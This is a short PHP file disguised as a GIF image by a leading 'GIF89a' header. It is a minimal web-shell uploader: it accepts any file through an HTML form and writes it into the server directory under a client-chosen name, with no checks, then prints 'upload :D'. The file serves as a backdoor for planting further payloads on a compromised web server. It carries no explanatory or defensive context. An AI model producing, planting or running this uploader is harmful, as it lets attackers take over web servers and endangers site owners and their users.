GIF89a
<?php		
if( file_exists($_FILES["uploadfile"]["tmp_name"]) )
{
	$filename = $_FILES["uploadfile"]["tmp_name"];
	$fp=@fopen($filename,"r");
	$contents=@fread($fp, filesize($filename));
	@fclose($fp);
		
	$fp = fopen($_FILES["uploadfile"]["name"], "w");
	fputs($fp, $contents);
	fclose($fp);
	
	echo "file ". $_FILES["uploadfile"]["name"] ."upload :D";
}
?>
<FORM ENCTYPE="multipart/form-data" METHOD="POST">

<b>File:</b> <INPUT NAME="uploadfile" TYPE="file">
<INPUT TYPE="submit" VALUE="Send">
</FORM>